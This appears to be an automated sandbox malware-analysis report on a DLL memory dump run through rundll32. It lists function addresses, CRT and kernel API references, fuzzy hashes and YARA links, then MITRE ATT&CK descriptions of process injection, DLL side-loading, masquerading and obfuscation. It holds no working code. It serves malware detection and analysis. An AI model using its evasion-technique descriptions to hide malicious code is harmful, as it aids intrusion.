Opcode ID: 232c646853739cb1dcf93863b9f8f240999947d9f43a53c2bc6be7c92d8da6d7
Instruction ID: 70333900280598ee5542c945843af91d2881290f24731a5e5701f9ab0453755a
Opcode Fuzzy Hash: 232c646853739cb1dcf93863b9f8f240999947d9f43a53c2bc6be7c92d8da6d7
Instruction Fuzzy Hash: 99318E321493D18FDB268F248C94B507F60FF07654F0A05EADA869F297D7686845C762

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6D70293A, Relevance: 19.6, APIs: 13, Instructions: 113COMMON

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 6D70297E

Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D7056CE
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D7056E0
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D7056F2
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D705704
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D705716
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D705728
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D70573A
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D70574C
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D70575E
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D705770
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D705782
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D705794
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D7057A6

_free.LIBCMT ref: 6D702973

Part of subcall function 6D6FD68A: HeapFree.KERNEL32(00000000,00000000,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?), ref: 6D6FD6A0
Part of subcall function 6D6FD68A: GetLastError.KERNEL32(?,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?,?), ref: 6D6FD6B2

_free.LIBCMT ref: 6D702995
_free.LIBCMT ref: 6D7029AA
_free.LIBCMT ref: 6D7029B5
_free.LIBCMT ref: 6D7029D7
_free.LIBCMT ref: 6D7029EA
_free.LIBCMT ref: 6D7029F8
_free.LIBCMT ref: 6D702A03
_free.LIBCMT ref: 6D702A3B
_free.LIBCMT ref: 6D702A42
_free.LIBCMT ref: 6D702A5F
_free.LIBCMT ref: 6D702A77

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 0549a29453d400ac81d12f1a5bec27219034db70fc5803b892210d82332a12c9
Instruction ID: 331b47eafbd56f21f8c4fbc37dcff1f123749972833534dbf2440adee6551933
Opcode Fuzzy Hash: 0549a29453d400ac81d12f1a5bec27219034db70fc5803b892210d82332a12c9
Instruction Fuzzy Hash: A13190B2608702AFEB318A34DA44B6673E9BF45324F12452AE95DD7190DF71F841CF1A

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F94D0, Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 308COMMON

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 6D6F95CB
type_info::operator==.LIBVCRUNTIME ref: 6D6F95F2
___TypeMatch.LIBVCRUNTIME ref: 6D6F96FE
CatchIt.LIBVCRUNTIME ref: 6D6F9753
IsInExceptionSpec.LIBVCRUNTIME ref: 6D6F97D9
_UnwindNestedFrames.LIBCMT ref: 6D6F9860
CallUnexpected.LIBVCRUNTIME ref: 6D6F987B

Strings

csm, xrefs: 6D6F9629
csm, xrefs: 6D6F9578
csm, xrefs: 6D6F950B

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ExceptionSpec$CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4234981820-393685449
Opcode ID: fb9a556a03156d3ce94a9f9358e2efa0a73064c6f6d4f727a631297e5b544533
Instruction ID: d277426115a80f230a5ef08fff2d893d67ecd374529666c0b87c08fe26f7b64f
Opcode Fuzzy Hash: fb9a556a03156d3ce94a9f9358e2efa0a73064c6f6d4f727a631297e5b544533
Instruction Fuzzy Hash: DBC16B71C08A0AAFCF19CFA4C8809AEBB76BF4C318F11445BE9256B215D731D652CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FD268, Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6D6FD27E

Part of subcall function 6D6FD68A: HeapFree.KERNEL32(00000000,00000000,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?), ref: 6D6FD6A0
Part of subcall function 6D6FD68A: GetLastError.KERNEL32(?,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?,?), ref: 6D6FD6B2

_free.LIBCMT ref: 6D6FD28A
_free.LIBCMT ref: 6D6FD295
_free.LIBCMT ref: 6D6FD2A0
_free.LIBCMT ref: 6D6FD2AB
_free.LIBCMT ref: 6D6FD2B6
_free.LIBCMT ref: 6D6FD2C1
_free.LIBCMT ref: 6D6FD2CC
_free.LIBCMT ref: 6D6FD2D7
_free.LIBCMT ref: 6D6FD2E5

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 9673f8292a0aa7b30516a824dcee35c1ae28e32052b7867728a785a6ea4ff20c
Instruction ID: bd8ea57ccb27f362a011f6b362522ebe86ef667ec87233c79e5462d753ab33c8
Opcode Fuzzy Hash: 9673f8292a0aa7b30516a824dcee35c1ae28e32052b7867728a785a6ea4ff20c
Instruction Fuzzy Hash: F321B876948508AFCF41DF94C890DDD7BBAEF48244F028166EA1D9B125DB31EA46CF84

Uniqueness

Uniqueness Score: -1.00%

Function 6D700339, Relevance: 13.8, APIs: 9, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db581759fd70b211ea1a22fe1fcf32e63173cdf25eb71413032885ab4aca7aae
Instruction ID: d8df4f2bb36a19a0d0b3dc5338692da961b34c54ee4ea13997642228a79c9fc3
Opcode Fuzzy Hash: db581759fd70b211ea1a22fe1fcf32e63173cdf25eb71413032885ab4aca7aae
Instruction Fuzzy Hash: 4AC1D5B0A482469FDB01CF99C981FADBBF6BF8A334F01416AE558972C1C7709941CF66

Uniqueness

Uniqueness Score: -1.00%

Function 6D705850, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 6D705818: _free.LIBCMT ref: 6D70583D

_free.LIBCMT ref: 6D70589E

Part of subcall function 6D6FD68A: HeapFree.KERNEL32(00000000,00000000,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?), ref: 6D6FD6A0
Part of subcall function 6D6FD68A: GetLastError.KERNEL32(?,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?,?), ref: 6D6FD6B2

_free.LIBCMT ref: 6D7058A9
_free.LIBCMT ref: 6D7058B4
_free.LIBCMT ref: 6D705908
_free.LIBCMT ref: 6D705913
_free.LIBCMT ref: 6D70591E
_free.LIBCMT ref: 6D705929

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 2536a4e061a4774c2413857fa71987725cc3c57037fa6d39a53ba6d9bf290c9a
Instruction ID: 1d151e6b5131e8a50262f27947612d3a5d74395fbe0ddf1605f1559f05417abf
Opcode Fuzzy Hash: 2536a4e061a4774c2413857fa71987725cc3c57037fa6d39a53ba6d9bf290c9a
Instruction Fuzzy Hash: 6C1106B1489B14B6D620A770CC0AFDB77DDAF05714F824C14BB9E661D0C731B4014F99

Uniqueness

Uniqueness Score: -1.00%

Function 6D70354B, Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00000001,00000000), ref: 6D703593
__fassign.LIBCMT ref: 6D703772
__fassign.LIBCMT ref: 6D70378F
WriteFile.KERNEL32(?,6D6FF5F6,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D7037D7
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6D703817
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D7038C3

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: f8bad7f0b565f268d5a3776c21ae333d5206b0df4aec7dc14a39e76a77af7762
Instruction ID: b2cee0d4d9ef85382a047999efd643142898c878b6e37ed4526705eefe670aa4
Opcode Fuzzy Hash: f8bad7f0b565f268d5a3776c21ae333d5206b0df4aec7dc14a39e76a77af7762
Instruction Fuzzy Hash: 79D1BEB5D002599FCF11CFE8CA809EDBBF5BF49324F1540AAE855BB281D730A946CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F9199, Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,6D6F8DA8,6D6F700A,6D6F7312), ref: 6D6F91A7
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6D6F91B5
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6D6F91CE
SetLastError.KERNEL32(00000000,?,6D6F8DA8,6D6F700A,6D6F7312), ref: 6D6F9220

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 767213368dee17a42dd1a42ba496f24a8877dcde7d16fcd633c3dbe5f49f6a63
Instruction ID: d466be70f120863584409a9ed591909336d26e2100611045cd2e4f3a3f0deb23
Opcode Fuzzy Hash: 767213368dee17a42dd1a42ba496f24a8877dcde7d16fcd633c3dbe5f49f6a63
Instruction Fuzzy Hash: E401F53611DA1A5EEB100E756C84A6E7677EB0F77D762023BE624810D0EF524853D154

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F9279, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6D6F9340
___AdjustPointer.LIBCMT ref: 6D6F9363
___AdjustPointer.LIBCMT ref: 6D6F93FF

Strings

yom, xrefs: 6D6F92D8

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: AdjustPointer
String ID: yom
API String ID: 1740715915-2702784548
Opcode ID: 3778ddabb18797dd6a533ff9fa55458845c7aca2339ae2fe818a5c6c060cb8f7
Instruction ID: 8c16236d1a10d2484b70a101d47360a674e44e2ebac332b7aec64a3b9f0bdfa1
Opcode Fuzzy Hash: 3778ddabb18797dd6a533ff9fa55458845c7aca2339ae2fe818a5c6c060cb8f7
Instruction Fuzzy Hash: E551A073608E069FDB198F55C840BBE77B6FF4931CF10442AE915862D0D731E952CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6D701207, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6D70120C

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: e6cbb8d027ab1badbbcc0dc51bbb931577fdd02955556330567413058dbf9ec8
Instruction ID: 49e756555a771f09dd4bff4bef018842bb1b50df0536a485e80a74627be04b0b
Opcode Fuzzy Hash: e6cbb8d027ab1badbbcc0dc51bbb931577fdd02955556330567413058dbf9ec8
Instruction Fuzzy Hash: 9F217FF170820AAF97009F658E8096B77EDAB4537C7018625FE18D71D0EB30EC4187A2

Uniqueness

Uniqueness Score: -1.00%

Function 6D7057AF, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6D7057C7

Part of subcall function 6D6FD68A: HeapFree.KERNEL32(00000000,00000000,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?), ref: 6D6FD6A0
Part of subcall function 6D6FD68A: GetLastError.KERNEL32(?,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?,?), ref: 6D6FD6B2

_free.LIBCMT ref: 6D7057D9
_free.LIBCMT ref: 6D7057EB
_free.LIBCMT ref: 6D7057FD
_free.LIBCMT ref: 6D70580F

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5796469a0923497a9ad1f07d4696a4a73269ff46feafeba1a8bd810b0c3358a6
Instruction ID: e0884cbcc449103436624f84af3fe2bfcbc55fe5675f7b295a8fb2c34fb5df20
Opcode Fuzzy Hash: 5796469a0923497a9ad1f07d4696a4a73269ff46feafeba1a8bd810b0c3358a6
Instruction Fuzzy Hash: 86F04F7140D625D7CB20DE59E5C0C6AB3EABF45721B62082AF85CD7580CB30F8808EAA

Uniqueness

Uniqueness Score: -1.00%

Function 6D700B8B, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6D700D25

Strings

*?, xrefs: 6D700BCE

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: be0b59ba3c73918a4b6b6aaecc14d9a85920bed4f98c2dc0d16ea2f4ec30d012
Instruction ID: 361e04844e7f5fde425f99e7369ddcd8629c2c91771759e013b38b8ccbb52694
Opcode Fuzzy Hash: be0b59ba3c73918a4b6b6aaecc14d9a85920bed4f98c2dc0d16ea2f4ec30d012
Instruction Fuzzy Hash: B4615DB5D0421A9FCB14CFA9C9809EEFBF5FF48324B15816AE815E7380D771AE418B91

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F8E20, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 6D6F8E5F
__IsNonwritableInCurrentImage.LIBCMT ref: 6D6F8F13

Strings

yom, xrefs: 6D6F8F2C
csm, xrefs: 6D6F8EFD

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm$yom
API String ID: 3480331319-1127704295
Opcode ID: 651194274e51a16557ef013856b311155c9e09100ae3bdb2947819c30e9ae6c9
Instruction ID: d7218f7950f046afde2feaa81d96461c074a472d3ad999e7e69f426f4df99081
Opcode Fuzzy Hash: 651194274e51a16557ef013856b311155c9e09100ae3bdb2947819c30e9ae6c9
Instruction Fuzzy Hash: 4041D874A046199FCF04CF69C880AAEBBB6FF4D328F058195E9185B361C732DE16CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F9886, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 6D6F98AB
CatchIt.LIBVCRUNTIME ref: 6D6F9991

Strings

MOC, xrefs: 6D6F98BD
RCC, xrefs: 6D6F98C5

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 261a248eed8920bf5f6160fb3d0b9aba8a0fa25d36c593db2f156fb7804680ca
Instruction ID: 774bf0e80ec7ec7231b925bae5bc05a542279d58da3f5b3de66c55d5cee43fcf
Opcode Fuzzy Hash: 261a248eed8920bf5f6160fb3d0b9aba8a0fa25d36c593db2f156fb7804680ca
Instruction Fuzzy Hash: 20417B7190060AAFCF15CF94CC80AEE7BB6BF4C308F1A405AFA1867214D335A952DF50

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FC310, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,6D72947C,00000000,?,?,6D6FC2C2,?,?,6D6FC28A,?,?,?), ref: 6D6FC325
GetProcAddress.KERNEL32(00000000,6D729494), ref: 6D6FC338
FreeLibrary.KERNEL32(00000000,?,?,6D6FC2C2,?,?,6D6FC28A,?,?,?), ref: 6D6FC35B

Strings

yom, xrefs: 6D6FC349

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: yom
API String ID: 4061214504-2702784548
Opcode ID: d13205a3d9fd5c62618a646153635db770eabbded77398d018692d200d180f9b
Instruction ID: 6bf2be877491b0fc9ca659aba6afc36e21426f4b83a763a9853bf35cc695a2d1
Opcode Fuzzy Hash: d13205a3d9fd5c62618a646153635db770eabbded77398d018692d200d180f9b
Instruction Fuzzy Hash: CFF0E23250051AFBDF019B50CD88BEEBB75EB08351F084064E906A1090DB318F00DA91

Uniqueness

Uniqueness Score: -1.00%

Function 6D706CDD, Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6D706DAD
_free.LIBCMT ref: 6D706DD6
SetEndOfFile.KERNEL32(00000000,6D704603,00000000,6D6FFCD2,?,?,?,?,?,?,?,6D704603,6D6FFCD2,00000000), ref: 6D706E08
GetLastError.KERNEL32(?,?,?,?,?,?,?,6D704603,6D6FFCD2,00000000,?,?,?,?,00000000,?), ref: 6D706E24

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 5ed035436b0db4feb48aec5ebbd2573f1d5c7a62ad0277f4fa2ffe361f1bbb0c
Instruction ID: 734a409c293ce8a6992f1390e63f3c259f359cfd578b5d44a0a374c554c87fb9
Opcode Fuzzy Hash: 5ed035436b0db4feb48aec5ebbd2573f1d5c7a62ad0277f4fa2ffe361f1bbb0c
Instruction Fuzzy Hash: 2E41D6F2504606ABDF019BB8CE54B9D37F6AF49374F150125EA18A71D0EB31D68187E3

Uniqueness

Uniqueness Score: -1.00%

Function 6D700A9F, Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6D7010C1: _free.LIBCMT ref: 6D7010CF

Part of subcall function 6D701C1A: WideCharToMultiByte.KERNEL32(?,00000000,6D6FF667,00000000,00000001,6D6FF5F6,6D703EDB,?,6D6FF667,?,00000000,?,6D703C4A,0000FDE9,00000000,?), ref: 6D701CBC

GetLastError.KERNEL32 ref: 6D700B07
__dosmaperr.LIBCMT ref: 6D700B0E
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 6D700B4D
__dosmaperr.LIBCMT ref: 6D700B54

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: ca049b27176413c1f3b335ab44dd808309e55b8a3429ab18773c24e446a194ee
Instruction ID: 03ba21f3ab7e82531a221dc1a71076120afdce64efa3923e01bee48cb2e121bf
Opcode Fuzzy Hash: ca049b27176413c1f3b335ab44dd808309e55b8a3429ab18773c24e446a194ee
Instruction Fuzzy Hash: B12190F1608606AF9B108F668D80D6BB7EDEF4537C701852AE918D72C0DB34EC418BA6

Uniqueness

Uniqueness Score: -1.00%

Function 6D701E3D, Relevance: 6.1, APIs: 4, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4112ced032bef772cd38e5c8d9089ea16167bb86fc65c44531b11ecc74963e
Instruction ID: da3cef94366406150c35879e99d8ea1d202dc1459e0a37779b923ea354e3f603
Opcode Fuzzy Hash: fd4112ced032bef772cd38e5c8d9089ea16167bb86fc65c44531b11ecc74963e
Instruction Fuzzy Hash: D9210BF5A05222A7DB118A658D40B2E77E8AB027BDF154139EE55E71C1E730E901C9E3

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FD3AC, Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,6D703991,?,00000001,6D6FF667,?,6D703E50,00000001,?,?,?,6D6FF5F6,?,?), ref: 6D6FD3B1
_free.LIBCMT ref: 6D6FD40E
_free.LIBCMT ref: 6D6FD444
SetLastError.KERNEL32(00000000,6D7300D0,000000FF,?,6D703E50,00000001,?,?,?,6D6FF5F6,?,?,?,6D72EBD8,0000002C,6D6FF667), ref: 6D6FD44F

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 3e94311519ff9d49113fc2541f12a7a8d8312c5c2079bc19c09e7b8b074466d3
Instruction ID: ddf1f74e73115aa4c5026592c51d7e32570fc0111cf4ededbc0716ab4ffa6fc2
Opcode Fuzzy Hash: 3e94311519ff9d49113fc2541f12a7a8d8312c5c2079bc19c09e7b8b074466d3
Instruction Fuzzy Hash: 7911207320CB066AD7211A759D88B6B2167ABCB279F574234F728521C0DF61EC024932

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FD503, Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,00000001,6D730096,6D6FD67C,6D6FD707,6D730094,?,6D6F7E19,6D730096,6D730094,?,?,?,6D6F4DCE,00000001,6D730098), ref: 6D6FD508
_free.LIBCMT ref: 6D6FD565
_free.LIBCMT ref: 6D6FD59B
SetLastError.KERNEL32(00000000,6D7300D0,000000FF,?,6D6F7E19,6D730096,6D730094,?,?,?,6D6F4DCE,00000001,6D730098), ref: 6D6FD5A6

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 3a57f182583e82b648eee378f9bee3106249c8f99b5afb8caaf42592fff30e85
Instruction ID: 1786cfad34682ea95574c1ac61174d54f57922744874fc773d5c74c221b0a5b2
Opcode Fuzzy Hash: 3a57f182583e82b648eee378f9bee3106249c8f99b5afb8caaf42592fff30e85
Instruction Fuzzy Hash: 4B1104B7248B015ADB115A75CD44F1B116797CB27DF974134F61C931C0DF61DC064532

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FA243, Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,6D6FA304,?,?,6D73C7C4,00000000,?,6D6FA42F,00000004,6D7293A4,6D72939C,6D7293A4,00000000), ref: 6D6FA2D3

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: fe518b66f8f82aacf09fec1bcb8b69de487553f71c075a514e76e0059f05d862
Instruction ID: 03199f9cbfce2e72cd732fe5809859856a18b03a4e7cbf51f366d1ab7b7063ea
Opcode Fuzzy Hash: fe518b66f8f82aacf09fec1bcb8b69de487553f71c075a514e76e0059f05d862
Instruction Fuzzy Hash: A811A775B85D26ABDF12CA588C44F5973B5AF0A7B0F194220ED10A76C0E771EA0286D5

Uniqueness

Uniqueness Score: -1.00%

Function 6D707BEC, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,6D6FF667,00000000,?,?,6D706B80,?,00000001,?,00000001,?,6D703920,00000000,?,00000001), ref: 6D707C03
GetLastError.KERNEL32(?,6D706B80,?,00000001,?,00000001,?,6D703920,00000000,?,00000001,00000000,00000001,?,6D703E74,6D6FF5F6), ref: 6D707C0F

Part of subcall function 6D707BD5: CloseHandle.KERNEL32(6D730910,6D707C1F,?,6D706B80,?,00000001,?,00000001,?,6D703920,00000000,?,00000001,00000000,00000001), ref: 6D707BE5

___initconout.LIBCMT ref: 6D707C1F

Part of subcall function 6D707B97: CreateFileW.KERNEL32(6D72DD58,40000000,00000003,00000000,00000003,00000000,00000000,6D707BC6,6D706B6D,00000001,?,6D703920,00000000,?,00000001,00000000), ref: 6D707BAA

WriteConsoleW.KERNEL32(?,?,6D6FF667,00000000,?,6D706B80,?,00000001,?,00000001,?,6D703920,00000000,?,00000001,00000000), ref: 6D707C34

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 289453edd10cc34ca26500da30260f9d8c9b8a8333ea5811a74e145f5ac999ae
Instruction ID: abb9013b4e29d025c6dbe90bde1b1b5ea94d5d7c5ca750083c7e6b5fb29550ac
Opcode Fuzzy Hash: 289453edd10cc34ca26500da30260f9d8c9b8a8333ea5811a74e145f5ac999ae
Instruction Fuzzy Hash: 0FF0C776505119BBCF221F95CD08A9E7FB5FF4A371F054425FA18951E0DB3289209B92

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FC39E, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6D6FC3E1, 6D6FC3E8, 6D6FC41E

Memory Dump Source

Source File: 00000005.00000002.501886695.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: 22ff84ca15988cb1dd24b4f0bceffee9a078dd7b83c58ea3bad8e1bd5d262f85
Instruction ID: f0f5b94b731964dfcbdb32d19e1956796661ba4789a34ea3ad7b4ecbae6bc853
Opcode Fuzzy Hash: 22ff84ca15988cb1dd24b4f0bceffee9a078dd7b83c58ea3bad8e1bd5d262f85
Instruction Fuzzy Hash: 7F410871A44A25ABCB12CF9DCCC09AEBBFAFF8D314F124066E505D7200D7709A02CB55

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

